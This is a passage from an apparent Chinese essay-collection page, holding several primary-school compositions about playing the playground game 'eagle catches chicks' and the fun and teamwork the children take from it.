谁知！老师叫我们回班，张臻只好把到嘴的“肥肉”给放了。这是我真想对张臻说：“哈哈，张臻你费尽心机，到头来还是鸡飞蛋打吧！” 老鹰捉小鸡四年级作文11 　　我们小学生玩过许多游戏，我也不例外。比如：拍手游戏、口语游戏。运动游戏……但我最喜欢的游戏还是运动游戏中的老鹰捉小鸡。 　　这不，上个月月底，我和几个同学来某学校的操场，开始玩“老鹰捉小鸡”的游戏。一个同学当老鹰，一个同学当鸡妈妈，其余的当小鸡。游戏开始了。“老鹰”左拼右杀，过了半天，还是没捉到一只。“老鹰”有些气愤，就想出了一个妙计。他先往左跑去，给“鸡妈妈”一个错觉，然后往右跑去，捉住了末尾的那只“小鸡”，给“鸡妈妈”来了个措手不及。我们有些不服气，非要再来一次。“老鹰”开始有些不同意，后来同意了。就这样，游戏又开始了。这一次和上一次不同，“老鹰”努力地拼杀，想捉住“小鸡”，“母鸡”张开双臂，拼命地保护“小鸡”，小鸡们也左躲右闪，跟着“母鸡”一起躲避。这下，可把“老鹰”气坏了，双眼瞪得像两个乒乓球，嘴巴也嘟起来了，那摸样真好笑！我们实在忍不住就“扑哧”一声笑了出来，不过这一笑，反而给“老鹰”带来了一个千载难逢的机会，他努力拼杀，结果捉住了最前面的那只“小鸡”。游戏在欢呼声中结束了。 　　“老鹰捉小鸡”不但给我们带来了许多快乐，而且还锻炼了我们的机智能力。 老鹰捉小鸡四年级作文12 　　11月23日上午语文课，宋老师带领着我们玩了一个游戏—老鹰捉小鸡。 　　我们欢天喜地地来到了操场。明丽的阳光照耀着我们，仿佛给我披上了金黄的薄纱，真舒服啊！ 　　游戏开始了！我是一只凶猛的老鹰，扮演母鸡的是行动敏捷的潘钥，小鸡们都藏在母鸡的后面。 　　我心想：“嘻嘻，我要一网打尽！”看，我进行了第一次攻击。我一会儿窜到右边，又“嗖”的`一下窜到左边，把母鸡弄得晕头转向，分不清东南西北了。我眼疾手快，一伸手就捉到了一只美味的鸡崽。现在想想都直流口水。就这样，我利用这种计谋一连捉了几只鲜嫩可口的鸡崽。母鸡看了，慌了神，连忙护着最后那一只小鸡。我可不吃这套，使出了我的绝招：“猛抓”。我疯狂地跑着，以最快速度伸手一抓，将最后一只小鸡逮住了！哈哈！我把所有的小鸡都抓走了！ 　　我们只好再组织鸡群，玩下一轮游戏…… 老鹰捉小鸡四年级作文13 　　上个星期的下午，我做完作业后，就和伙伴们一起玩老鹰捉小鸡的游戏。 　　王丽平当“老鹰”，高玲当“鸡妈妈”，其他人都是“小鸡”。 　　小鸡都躲在鸡妈妈的后面，拉着前面一只“小鸡”的衣服，这样可以保护自己。老鹰开始行动了，鸡妈妈张开双臂，保护自己的“孩子”。狡猾的老鹰不停地往左，鸡妈妈也跟着往左，了很久了，突然，老鹰脸上出现一丝不易察觉的笑，然后飞快的向右一跳，刘佳佳不注意，打了个趔趄，老鹰一下子就把她抓起来了。 　　老鹰捉了半天，才捕到一只小鸡，于是他沮丧地一屁股坐在椅子上，大声吼道：“不玩了！”小鸡们看老鹰不捉他们了，就都散了。我走过去，问道：“这么快就不玩了啊？”突然老鹰一下子揪住我的衣服，嘴里还念念有词：“抓住喽，抓住喽！”鸡妈妈看情况不妙，连忙招呼小鸡们躲在他的后面。就这样，无知的我被老鹰”押”到了刘佳佳旁边，跟刘佳佳一起静静的呆在那里。 　　虽然我输了，但我依然很高兴。 老鹰捉小鸡四年级作文14 　　今天下午，操场上今非昔比的热闹，原来是四三班可爱的学生们在玩老鹰捉小鸡。 　　只见男、女生分为两帮，我本想当鸡爸爸，保护我的“鸡宝宝”，可大家却纷纷指向了王景岩，而这次的老鹰可是由一个强力的同学扮演，他就是白振亮。 　　游戏开始了，老鹰首先开始反复横跳，一左一右。而鸡爸爸也努力地伸着双臂，保护鸡仔。突然老鹰向左一跳，而王景岩也跟着白左一跳，但白振亮却邪魅一笑，并瞬间向右一跳，然后一个飞扑，直接抓住了最后面的倒霉蛋，紧接着又一个飞扑，又抓了两位同学。而在倒数第四位的我拍着胸脯长叹一口气，说道："“吓死宝宝了！”这时前而开始神龙摆尾。原来老鹰在一左一右的绕圈子，但鸡爸爸也不是吃素的，他顿时把双臂张开，步子也扎的紧紧的，但在白振亮眼里，他也只是一只更大更胖的小鸡罢了。但这次他范了一个严重的失误，一下子就撞在了王景岩的身上，游戏结束了。 　　美好的时光总是短暂的，同学们背上书包，与亲爱的闫老师一同出了校们，回了家，我想，应该所有同学都会在梦乡中，回味这场游戏吧。而我，也随着胜利的喜悦，做起了美梦。 老鹰捉小鸡四年级作文15 　　星期三下午闫老师带我们下操场玩老鹰捉小鸡。 　　游戏规则是：一个人当老鹰，另一个人当鸡爸爸或者鸡妈妈，还有一群当鸡崽们。当我们下操场时，天空下起鹅毛大雪，开始选人时，老师讲到，“谁要当老鹰”？我主动举起了手，我早就想起了怎么捉小鸡，可白振亮率先举起手，我只能被任命“鸡爸爸”。 　　游戏开始了，我张开手，叉开腿，做出防守的动作，我一边威胁道，一边把老鹰扒拉开，这个老鹰也太强悍了，连我这么壮大的身体也防不住。而这时“老鹰”白振亮正猫着腰，眼睛直勾勾的盯着我身后的小鸡，而我却虎视眈眈的盯着白振亮，生怕我身后面的小鸡成了白振亮的“盘中餐”，只见白振亮眼珠子一转，头上的灯泡一下被点亮了，他露着那邪恶的笑容向我们走来，他向左一闪，我本能的到左边防守，紧接着他又向右边一闪，本就没反应过来加上队伍太长，然后白振亮腿一迈，一个健步，然后手一伸，就把“肥鸡崽”曹益腾扒了去，老鹰也成了这局胜利的主人。而曹益腾却露出一副不服气的样子。 　　虽然这事过去几天了，但还是记忆犹新，这事告诉我“人心齐，泰山移”的道理。

　　在平时的学习、工作或生活中，大家都经常看到作文的身影吧，作文可分为小学作文、中学作文、大学作文（论文）。如何写一篇有思想、有文采的作文呢？以下是我整理的老鹰捉小鸡二年级作文10篇，欢迎阅读与收藏。 老鹰捉小鸡二年级作文 篇1 　　星期六的早晨，我们全家玩老鹰捉小鸡的游戏。 　　爸爸当老鹰，妈妈当母鸡，我和哥哥当小鸡。游戏开始了，妈妈张开双臂护住我们，爸爸站在妈妈的对面，身子来回摆动，左顾右盼，在寻找着进攻的机会。突然，爸爸首先从上面发起了攻击，妈妈带着我们灵机一闪，躲过了爸爸的攻击，爸爸扑了个空，我和哥哥大笑，冲着爸爸做了个鬼脸说：“快来捉我们呀。”爸爸说：“走着瞧，我一定会捉到你的。”说完爸爸再次向我们发起了攻击，只见爸爸的脚向左慢慢的移动，妈妈带着我们向右躲闪着，谁知爸爸突然改变了方向，向右发起了攻击，我被爸爸抓住了，我们全家哈哈大笑。 　　今天的游戏玩的可真开心。 老鹰捉小鸡二年级作文 篇2 　　“啊——救命呀！”“小鸡哪里逃，还不快快束手就擒！”咦，教室里怎么传来阵阵鬼哭狼嚎一般的声音，大家这是在干什么呀？哈哈，告诉你吧，是笔畅作文班的侯老师在带领我们做老鹰捉小鸡的游戏呐！ 　　游戏开始前，老师先让我们以猜拳的形式将全班同学分成两组来进行两轮游戏。第一轮游戏就要开始了，同学们都选小李当“老鹰”，因为他反应灵敏。这时，小成自告奋勇地站出来说要当“鸡妈妈”，我们大家都一致赞成。于是小成站在队伍的最前面，当起了“鸡妈妈”，“小鸡”们一个接一个，乖乖地站在了“鸡妈妈”的身后。你瞧那“鸡妈妈”叉开了双腿，展开双臂，做好了保护小鸡的准备。而“老鹰”呢？他双手叉腰，凶巴巴地对着小鸡们说：“小鸡呀小鸡，你们就等着当我的美餐吧！哈哈……”只听老师一下令说“开始”！“老鹰”就猛地向鸡群扑去，“鸡妈妈”立刻挡住了“老鹰”老的攻击，这时“鸡妈妈”还不忘转过头来叮嘱“小鸡”们：“大家都紧跟在我身后，都抓紧了！”这时“老鹰”又向鸡群扑去，“鸡妈妈”毫不犹豫地张开了双臂。谁料“老鹰”却偷偷地从“鸡妈妈”的双臂下钻了过去，抓住了第一只“小鸡”。“鸡妈妈”见了，提高了警惕，狡猾的“老鹰”又心生一计。他先向左边扑去，然后趁鸡妈妈不注意，又向右边反扑，成功地抓到了两只“小鸡”。“老鹰”骄傲地向“鸡妈妈”炫耀：“看我一箭双雕！”同学们被逗得哈哈大笑。 　　第一轮游戏在同学们的欢笑声中结束了。接下来该我们上场了，我们组的小组员们一致推选小芳当“老鹰”。这只“老鹰”别提有多厉害了，不到一会儿的功夫就把我们所有的小鸡全部一网打尽，呜呜…… 　　听了我的介绍，你是不是也很想玩这个有趣的游戏呀？那就快来加入我们吧！ 老鹰捉小鸡二年级作文 篇3 　　星期六，我和同学在草坪上玩老鹰捉小鸡的游戏。 　　我们先猜拳，谁输就当老鹰，其它当小鸡，在小鸡里面选个最强大的当妈妈。首先，我当老鹰，毛巾纬当鸡妈妈，我东跑跑，西跑跑，强大的鸡妈妈用身体来保护这些弱小的小鸡，我还是捉到了一只小鸡。哈，这次我当鸡妈妈，龙一星当老鹰，老鹰象狐狸一样狡猾，或跑跑，西窜窜，呵，又捉到了一只脆弱的小鸡，这下捉到的是夜会争呀！最后，夜会争连一只小鸡都没捉到呢… 老鹰捉小鸡二年级作文 篇4 　　我的课余生活丰富多彩，有看书、画画、下棋、玩游戏等等；其中，我最喜欢玩老鹰捉小鸡。下面，我们就一起来看看这个游戏怎么玩吧。 　　我们先用石头剪刀布的方法来决定谁先当老鹰，谁当鸡妈妈，剩余的小朋友就只能当可爱的小鸡了。 　　游戏开始了，只见当老鹰的明明张牙舞爪的张开翅膀，露出一张狰狞而恐怖的脸狞笑着向鸡宝宝们扑来，老鹰看见鸡宝宝们在左边，便向左边扑去，谁知当鸡妈妈的红红见这样，不但不紧张，反而放松的对她的鸡宝宝们说：“大家都别害怕，有妈妈妈在呢。”说话间，老鹰已经要捕捉到一只鸡宝宝了，鸡妈妈灵敏地一闪，一队小鸡就跟着到她的后面去了。老鹰扑了个空，心中很不是滋味，于是他又摆出一副更加凶狠的样子向鸡宝宝扑来，就这样一次次的攻击，小鸡们在鸡妈妈的保护下，都安然无恙。这时的老鹰已经变得垂头丧气，蹲到一边，眼睛咕噜一转，想出了一个好办法。他假装朝左边扑去，鸡妈妈还以为老鹰要捉左边的小鸡呢，老鹰又突然向右边扑去，“啊……！”一只反应有点慢的小鸡被捉住了。其他的小鸡见他被抓住了，都跟着一起尖叫起来，就这样，广场上一直回荡着我们快乐的笑声。 　　啊，多好玩的游戏呀，这不仅让我们收获到快乐，还让我们感受到团结、勇敢的重要性！ 老鹰捉小鸡二年级作文 篇5 　　体育课上，我和我的小伙伴们玩起了老鹰捉小鸡的游戏。 　　我们用石头剪刀布的的方式选出了各人的角色。结果，哈哈，我赢了，当上了母鸡。有一个人输了，当上了老鹰。 　　游戏开始了，老鹰拍拍翅膀向我们冲了过来。我的责任可大啦，我要保护着十几只小鸡，我身后的小鸡都说道：“妈妈，你一定能打败老鹰。”我也相信我一定能打败老鹰。呀！不好，一只小鸡掉队了不过这只小鸡很聪明，它眼珠子骨碌一转，想出了一个好办法。小鸡围着大树转圈跑，老鹰也跟着它跑。老鹰被小鸡弄的晕头转向，气的大叫：“你这只死鸡，总有一天我会吃掉你的。” 　　就在这时，上课铃响了。我们只好恋恋不舍的离开了操场。 老鹰捉小鸡二年级作文 篇6 　　今天下课，我和四个同学玩老鹰捉小鸡，我们让班长当母鸡，我们又石头剪刀布来决定谁当老鹰，结果我赢了。 　　游戏开始了，母鸡后面的三只小鸡摇来摇去的`，我向前一冲，被母鸡挡住了。我并不灰心，我悄悄的跑到母鸡后面，抓到了一只小鸡。这时，母鸡对他说：“不要灰心，下次再玩，我们让你当母鸡。”他说：“我没有伤心，谢谢你。” 　　第二轮游戏开始了，母鸡一心一意的看着我，我向左冲，她向右躲。一连好几次，我都是只差一点点就能抓到了，我在心里想：要相信自己，一定会成功的。我飞快的绕着母鸡和小鸡转来转去，母鸡飞快的保护她的孩子。她往旁边一闪，我就抓了一个空。我想：她的鬼点子可真多呀！不然老师不可能让她当班长的。我跑来跑去，终于抓住了一只小鸡，班长伤心的走进教室。我成功啦！我开心的一蹦三尺高。我对小鸡们说：“别伤心了，这只是一个游戏。” 　　我多么喜欢玩这个游戏啊！ 老鹰捉小鸡二年级作文 篇7 　　有一天，老鹰忽然觉得肚子饿了，到处找吃的。 　　他来到小鸡的家里，正好鸡妈妈不在家。老鹰一下子捉住了所有的小鸡，放进袋子里就走。有一只聪明的小鸡啄破了袋子，小鸡们都从洞里跑了。老鹰回到家，一看袋子空了，非常生气，又回去找小鸡。这时，那只聪明的小鸡说：“我们都生病了，是传染病。我们快死了，你吃了我们，你也得死。”老鹰一听就飞走了。 　　小鸡们得救了，他们又唱起歌来。 老鹰捉小鸡二年级作文 篇8 　　铃铃铃，下课了，同学们飞快的冲出教室，来到大操场上，有的打篮球，有的打乒乓球，还有的跳皮筋，我呢，就找来几个小朋友，一起玩老鹰捉小鸡。 　　首先，我们选“鸡妈妈”和“老鹰”，经过投票，小明当“老鹰”，因为他跑的像风一样快，也很强壮，选小红当“鸡妈妈”，因为她平时很关心同学，她也 一定会保护好自己的“小鸡”，我们其余的三个小朋友当小鸡。游戏开始了，“鸡妈妈”张开翅膀，保护着“小鸡”，不让“小鸡”受到一点伤害，“老鹰”左右攻 击，但一次也没成功，我们躲在“鸡妈妈”的后面，一会儿吓得尖叫，一会儿又闹的哈哈大笑。这时，“鸡妈妈”放松了一下，“老鹰”抓住这个机会，猛扑过去， “鸡妈妈”反应过来，用双手挡住了“老鹰”的攻击。“啊，真险！”，我在“鸡妈妈”的后面害怕的说道。但“老鹰”没有灰心，还是继续猛扑，过了一会儿，终 于捉到了一只“小鸡”，他得意的笑了。 　　铃……上课了，游戏也结束了，我想：如果时间再长些就好了。 老鹰捉小鸡二年级作文 篇9 　　今天上午第三节课是体育课，徐老师说要带我们全班同学到操场上去玩"老鹰捉小鸡"的游戏。她的话音刚落，教室里立刻响起了欢呼声。 　　徐老师先给我们说游戏规则："选出一名同学当老鹰和一名同学当母鸡，其他同学就当小鸡。当老鹰的同学可以用任何办法抓住当小鸡的同学，把小鸡抓完了，老鹰就赢了。鸡妈妈可以用任何办法保护住自己的小鸡，当小鸡的同学后一个抓住前一个同学后面的衣角，一个个接下去。如果老鹰抓不住小鸡，老鹰就输了。" 　　徐老师说当我们的鸡妈妈，要选一个同学当老鹰。杨子琪把手举得高高的，自告奋勇的要当老鹰。徐老师笑着说说："杨子琪，这家伙很灵活，可以当老鹰。"老师的话一说完，同学们就像小鸟一样飞出了教室。 　　由于人太多，我们就分成了男女组。我们女生先玩，男生坐在台阶上给我们加油。游戏终于开始了，老鹰往左边跑，母鸡就往左边拦，小鸡们就往右边跑。老鹰以为抓住了，没想到却扑了个空，惹得看我们同学们哈哈大笑，有的笑出了眼泪，有的笑疼了肚子。老鹰挠挠脑袋，杨子琪这家伙肯定想办法了。突然它快速往右跑，露出了凶狠的目光，而母鸡张开有力的翅膀，左挡右挡，阻止老鹰的进攻，极力保护着小鸡。而小鸡们则左闪右躲，可是毕竟队伍太长，后面的同学没来得及跑，就被老鹰吃掉了。我的心里"扑通扑通"地跳着，生怕老鹰捉到了我。可是一不留神，老鹰拍了一下子，我就这样被老鹰抓住了出局了。 　　最后十分钟，老师让我们自己玩。我也跑累了退出了游戏。再看看男生那边个个都玩得满头大汗。 　　"叮铃铃……"放学了，我们的欢笑声回荡在校园的上空。"老鹰捉小鸡"的游戏不但给我们带来了乐趣，还锻炼了我们的身体呢。 老鹰捉小鸡二年级作文 篇10 　　今天，我们在班上玩了一个有趣的游戏：老鹰捉小鸡。 　　游戏的规则是：一个同学当“老鹰”，另一个同学当“鸡妈妈”，剩下的同学当“小鸡”。“老鹰”要去抓“小鸡”，“鸡妈妈”要去保护“小鸡”。“小鸡”也要保护好自己，以防万一。 　　毛老师叫了几名同学来玩游戏，让夏肇泽来当“老鹰”，让梁泰来当“鸡妈妈”。游戏开始了，只见“老鹰”左打右捕，吓得“小鸡”左躲右闪，“鸡妈妈” 连忙张开双臂，用整个身体挡住“老鹰”的去路，机警地保护着自己的孩子。“老鹰”一连进攻了几次，都失败了。这时，“老鹰”想到了一个好主意：他从“鸡妈 妈”的右手臂下钻过去。没想到，“鸡妈妈”的反应也快，把“老鹰”给挡住了，气得“老鹰”直咬牙。这时，“老鹰”好像发怒了，他猛的一冲，把大家冲向一 角，让他们无法后退。趁大家不注意的时候，向左再向前一冲，一下了就抓住了一只“小鸡”。我们欢呼着“老鹰”抓到了“食物”，欢呼着“鸡妈妈”保护了“小 鸡”，欢呼着“小鸡”也保护了自己。 　　这个游戏太好玩了，下次我也要玩一次。